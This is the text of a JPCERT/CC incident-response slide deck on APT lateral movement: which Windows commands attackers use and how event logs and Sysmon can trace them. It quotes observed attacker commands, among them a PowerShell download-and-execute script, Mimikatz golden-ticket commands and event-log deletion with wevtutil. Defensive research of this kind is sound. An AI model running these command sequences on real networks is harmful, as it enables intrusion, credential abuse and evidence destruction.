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Self-introduction

Analysis Center at JPCERT/CC

Malware analysis, Forensics investigation.

Written up posts on malware analysis and 
technical findings on this blog and Github.
—http://blog.jpcert.or.jp/
—https://github.com/JPCERTCC/
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Self-introduction

Internet Initiative Japan Inc. (IIJ)
Analyst, Security Operation Center,
Security Business Department,
Advanced Security Division
As a member of IIJ SOC, primarily working on:
—Analysis of logs sent from customers’ networks
—Research/Analysis of software vulnerabilities
—Enhancement of IIJ SOC service and the service 

infrastructure
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Keisuke Muda
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Challenge of Incident Response

Many hosts need to be investigated for APT 
Incident Response

Logs required for investigation are not 
always recorded

Difficult to detect Lateral Movement
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Approach

For lateral movement, a limited set of tools are 
used in many different incidents.

There are some common patterns in the lateral 
movement methods.
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If you know what logs are recorded with the lateral 
movement tools, IR will be easier.
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This Presentation Topics
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１ Research of
Lateral Movement

２ Tools Used by Attackers for 
Lateral Movement

３ Tracing Attacks

４ Analysis of Tools Used by 
Attackers
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Research of Lateral Movement

Investigating C&C servers and malware connections 
in five operations.

APT10 (named by FireEye)
APT17 (named by FireEye)
Dragon OK (named by Palo Alto)
Blue Termite (named by Kaspersky)
Tick (named by Symantec)
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Research Methods
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Gstatus
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Research Overview

C&C servers

Access Database
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Emdivi
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Research Overview

C&C servers

SQLite
Database

Executed commands
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Data Set

Total command 
execution: 16,866

Total number of 
infected host: 645

10

Research Overview



Copyright ©2017  JPCERT/CC All rights reserved.

Data Set

Total command 
execution: 16,866

Total number of 
infected host: 645
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Research Overview

Total Windows command execution: 14,268
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Tools Used by Attackers at Lateral Movement

Why attackers use Windows commands and
legitimate tools?

They are not detected by antivirus software.
12

Attackers use not only attack tools
but also Windows commands and legitimate tools.
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Lateral Movement
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AD/
File Server

Target Network
1. Infection

2. Initial
investigation 3. Internal reconnaissance

4. Spread of infection

5. Sending stolen data

Overview of APT Incident and Lateral Movement

6. Delete evidence
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Lateral Movement: Initial Investigation

The most used command is tasklist.

If the infected host was a virtual machine for 
analysis, the attacker will escape soon.

15

• Collect information of the infected host
Initial investigation
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Windows Command Used by Initial Investigation
Rank Command Count

1 tasklist 327
2 ver 182
3 ipconfig 145
4 net time 133
5 systeminfo 75
6 netstat 42
7 whoami 37
8 nbtstat 36
9 net start 35

10 set 29
11 qprocess 27
12 nslookup 11
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Lateral Movement: Internal Reconnaissance

• Look for information saved in the compromised 
machine and information on the network

Internal Reconnaissance

17

The most used command is dir.
—The attacker look around confidential data 

stored in the infected host.

For searching the local network, net is used.
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Windows Command Used for Internal Reconnaissance
Rank Command Count

1 dir 4466
2 ping 2372
3 net view 590
4 type 543
5 net use 541
6 echo 496
7 net user 442
8 net group 172
9 net localgroup 85

10 dsquery 81
11 net config 32
12 csvde 21
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net Command
net view
— Obtain a list of connectable domain resources

net user
— Manage local/domain accounts

net localgroup
— Obtain a list of users belonging to local groups

net group
— Obtain a list of users belonging to certain domain groups

net use
— Access to resources

19
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Why ping command is often executed?

Searching network hosts using ping
> echo @echo off >ee.bat
> echo for /l %%i in (1,1,255) do ping -n 1 
10.0.0.%%i ^|find "TTL=" ^>^>rr.txt >>ee.bat
> type ee.bat
> ee.bat
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Why echo command is executed?

Create script file using the echo command

> echo $p = New-Object System.Net.WebClient >xz.ps1
> echo $p.DownloadFile("http://xxxxxxxxxx.com/wp/0122.
dat","c:¥intel¥logs¥0122.exe") >>xz.ps1
> type xz.ps1
> powershell -ExecutionPolicy ByPass -File C:¥intel¥logs¥
xz.ps1
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Windows Command Used for Internal Reconnaissance
Rank Command Count

13 net share 19
14 quser 18
15 net session 17
16 query 12
17 tracert 9
18 cscript 9
19 nltest 5
20 dumpel 5
21 tree 3
22 LogParser 2
23 net accounts 2
24 route 1

22
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Search Logon Event logs

dumpel command

LogParser command

> dumpel.exe -f ac1.dat -l security -s ¥¥10.0.0.1 -d 10

> LogParser ""Select *From  V:¥Server¥Security.evtx 
Where EventID=4624  AND TimeGenerated < '2017-04-28 
23:59:59' AND TimeGenerated > '2017-04-28 00:00:00'""
-i:evt -o:csv > V:¥Server¥Security.csv"
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Lateral Movement: Spread of Infection

• Infect the machine with other malware or 
try to access other hosts

Spread of infection

24

The most used command is at.
—“at” command is not supported on Windows 10, 

Windows 8 etc.
—If "at" doesn't exist, schtasks is used.

Password dump tool is always used.
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Windows Command Used for Spread of Infection

25

Rank Command Count
1 at 445
2 move 399
3 schtasks 379
4 copy 299
5 ren 151
6 reg 119
7 wmic 40
8 powershell 29
9 md 16

10 runas 7
11 sc 6
12 netsh 6
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The Managed Object Format (MOF) compiler parses a file 
containing MOF statements and adds the classes and 
class instances defined in the file to the WMI repository.

26

Compile the MOF File

mofcomp command
> move %temp%¥mseinst.mof ¥¥server¥C$¥WINDOWS¥
system32¥wbem¥svmon.mof
> mofcomp -N:root¥default C:¥WINDOWS¥system32
¥wbem¥svmon.mof >c:¥mofinst.txt
> mofcomp -AUTORECOVER C:¥WINDOWS¥system32
¥wbem¥svmon.mof >>c:¥mofinst.txt
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Lateral Movement: Delete Evidence

• Delete files used by the attacker and logs

Delete evidence

27

The most used command is del.

For deleting the event log, wevtutil is used.
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Windows Command Used for Delete Evidence
Rank Command Count

1 del 844
2 taskkill 80
3 klist 73
4 wevtutil 23
5 rd 15

28
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wevtutil command

Delete event logs
> wevtutil cl security

> wevtutil qe security /f:text /q:""*[System[EventID
=4624 or EventID=4769 or EventID=4672 or 
EventID=4768]] and *[System[TimeCreated[@
SystemTime>='2017-07-10T00:00:00.000']]]"" 
>c:¥windows¥system32¥log.txt

Search logon event logs
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An attacker uses Pass-the-ticket when spreading 
infection to other hosts
—Pass-the-hash is rarely used
Pass-the-ticket
—Issues an unauthorized ticket that grants access 

without additional authentication
—Golden ticket

Use TGT (Ticket-Granting Tickets)
—Silver ticket

Use ST (Service Ticket)
30

Delete Evidence of Pass-the-Ticket
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Delete Evidence of Pass-the-Ticket

klist command

> klist purge
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Example of Command Execution Flow

Example (Tick)
> cd ¥intel¥logs
> whoami
> klist
> net use
> klist purge
> IntelGFX.exe "kerberos::golden /user:administrator /domain:[Domain] 
/sid:[SID] /krbtgt:[RC4 Key] /group:502 /ticket:0422.tck" exit
> IntelGFX.exe "kerberos::ptt 0422.tck" exit
> ping -n 1 10.1.44.16
> ping -n 1 10.1.2.16
> net use ¥¥10.1.2.16
> dir ¥¥100.1.2.16¥c$¥users

Golden Ticket with Mimikatz

Initial investigation

Internal reconnaissance
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> copy bb.bat ¥¥10.1.2.16¥c$¥windows¥system32¥
> net time ¥¥10.1.2.16
> at ¥¥10.1.2.16 12:27 bb.bat
> dir ¥¥10.1.2.16¥c$¥windows¥system32¥inf.txt
> move ¥¥10.1.2.16¥c$¥windows¥system32¥inf.txt .
> del ¥¥10.1.2.16¥c$¥windows¥system32¥bb.bat
> copy zt.exe ¥¥10.1.2.16¥c$¥windows¥system32¥mscfg.exe
> net time ¥¥10.1.2.16
> at ¥¥10.1.2.16 12:33 mscfg.exe
> dir ¥¥10.1.2.16¥c$¥windows¥system32¥mscfg.exe
> del ¥¥10.1.2.16¥c$¥windows¥system32¥inf.txt
> del ¥¥10.1.2.16¥c$¥windows¥tasks¥at*.job
> net use ¥¥10.1.2.16 /del
> dir
> del zt.exe inf.txt bb.bat
> dir
> net use

Spread of infection

Delete evidence
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Following records are taken by default on Windows:
—Client OS

Successful/Failed Logon
Successful Logoff
Successful Policy Modification ... that’s about it

—Server OS
Successful Authentication in addition to the above

Some of the “Logon Histories” could be traced from the 
default logs.
There may not be enough record to prove other activities, 
such as “Execution History” and “Access History”.

35

Tracing Attacks
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Tools and commands that were used in actual 
attacks were analyzed.
—49 different tools that were frequently used in 

attack behaviors were selected.
Approx. 1/3 were legitimate Windows tools.

—Each of them was tested on a virtual network, 
and their execution “logs” were recorded.

36

Detecting Lateral Movement through Tracking Event Logs
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Tools and commands that were used in actual 
attacks were analyzed.
—49 different tools that were frequently used in 

attack behaviors were selected.
Approx. 1/3 were legitimate Windows tools.

—Each of them was tested on a virtual network, 
and their execution “logs” were recorded.

In most cases, additional tweaks were
necessary to obtain enough records.

37

Detecting Lateral Movement through Tracking Event Logs
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Research report is 
available on 
JPCERT/CC website.
— https://www.jpcert.or.jp/english

/pub/sr/ir_research.html

— English/Japanese
First published in 
June 2017, and the 
updated version with 
additional items was 
published on 
December 5th

38

Research Report
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The report shows some important aspects for tracing each tool.

39

Research Report
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Windows Event Logs
—Default and additional logs
Registry
Cache for performance improvements
File System Activities
File/Folder Access Histories
Network Traffic

40

Elements Researched
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Event Logs were the most useful among the 
entities.

41

Research Results

Audit Policy Sysmon Application 
Logs
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Event Logs were the most useful among the 
entities.

There were some other useful information.

42

Research Results

Audit Policy Sysmon Application 
Logs

USN 
Journals

Packet 
Capture
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Lateral Movement
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A legitimate tool, part of Microsoft Sysinternals
—Sometimes used in malicious programs
Executes a specified program on a remote host

44

Example: PsExec
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Target Host
—Installation, and execution/termination of 

“PSEXESVC” remains in records
Service for handling PsExec on target host

Source Host
—If Prefetch is enabled, Prefetch file remains 

in %WinDir%¥Prefetch
On Windows Server, and on Windows clients under certain 
conditions (such as VMs), Prefetch is disabled by default

—If PsExec was used on the source node for the first 
time, registry for accepting EULA is recorded

45

Artifacts Recorded on Default Windows
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Execution of PsExec was recorded
—But does not tell specifically what happened

We need to know more about the incident to 
figure out what happened within the attack

46

Investigating the Incident
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Enabling audits records  more details 
about the program execution

“PSEXESVC.exe” was executed,
and the Token Elevation Type was
Type 1 (%%1936)
“cmd.exe” was executed, and its
parent process is PSEXESVC.exe
— still not sure about what has 

happened
47

Process Audit with Windows Event Logs (Event 4688)
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Two options for recording 
command lines on Windows:
— Install Sysmon from Sysinternals
— Enable command line process 

auditing
In this research, Sysmon
presented more details as:
— It keeps track of EXE file hashes
— It can be used for obtaining other 

artifacts (described later)
— It can be installed on both server 

and client Windows OS
48

Process Audit with Sysmon (Event 1)
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Registry events can be recorded on both Audit and Sysmon logs
— Configuration for logging them is necessary in either method

49

Registry Events

Audit Logs

Sysmon
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Access to the file share, and access to the file system can be 
tracked on Audit logs
— File creation can be logged with Sysmon (which is easier to 

read), but additional configuration is necessary, and it does 
not track file modification/deletion at this time

50

File Audits (File System and File Share)

File Share
(Event 5140)

File System
(Event 4663)
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Network connection is another example that can be 
audited with both Audit Policy and Sysmon
—Both have similar contents, but Sysmon is easier 

to read

51

Network Connection Audit

Audit Policy Sysmon
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Use both of them as:

52

Audit Policies or Sysmon?

Audit Sysmon

Pros

• Available on Windows by 
default

• Some information are logged 
on Audit logs only

• Relatively easier to read
• Has some more details 

such as file hash and 
command lines

Cons

• Some logs are confusing, 
especially for handles in file 
systems and “binds” in 
Windows Filtering Platforms

• Have fewer details than 
Sysmon in some cases

• Software installation is 
required

• Additional settings are 
necessary in some cases, 
and it is a bit complicated
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Event Logs were the most useful among the 
entities.

There were some other useful information.

53

Research Results (Repeat)

Audit Policy Sysmon Application 
Logs

USN 
Journals

Packet 
Capture
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When file(s) were created on a NTFS file system, 
USN Journal is recorded

Audit logs can keep track of file creation/deletion, 
but the USN Journal could also be useful for 
tracking file creation/deletion

54

Using USN Journal for Tracing Attacks
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Since PsExec uses SMB2, the execution of PsExec can 
be monitored from packet capture

55

Detect from Packet Capture (1/2)
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Since PsExec uses SMB2, the execution of PsExec can 
be monitored from packet capture
— Even if filename of “psexec.exe” (originating EXE) was 

modified, “PSEXESVC.exe” is sent to the target host

56

Detect from Packet Capture (1/2)

Copy 
PSEXESVC.exe

Start PSEXESVC
service
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STDIN, STDOUT and STDERR are requested via SMB2

If the program uses SMB2, often the operations can be 
monitored through the packet captures

57

Detect from Packet Capture (2/2)
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Event Logs were the most useful among the 
entities.

There were some other useful information.
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Research Results (Repeat)

Audit Policy Sysmon Application 
Logs

USN 
Journals

Packet 
Capture
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The “details” of attacks could be illustrated
—If the attack created temporary files or 

registry values and then removed them, it 
becomes hard to figure out their contents

—If the command line is not recorded at all, it 
becomes hard to figure out what was done 
during the attack

59

Why Trace from Logs?
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To obtain more details, additional logs would 
become necessary
—Operation logs of client computers
—Network activity logs
—Etc...
It is necessary to tune up log sizes appropriately
—The older logs might get overwritten when they 

get too large
Logs could be purged during the attack
—It may be necessary to keep “live” logs to a safe 

location
60

Some Challenges
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Conclusion

Typically, limited set of tools and commands are 
used for Lateral Movement.

Many attack tools can be detected with audit 
policy and Sysmon.

Our report would be helpful if you are 
investigating APT incidents.

61
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Thank you

Q&A

https://www.jpcert.or.jp/english/pub/sr/ir_research.html
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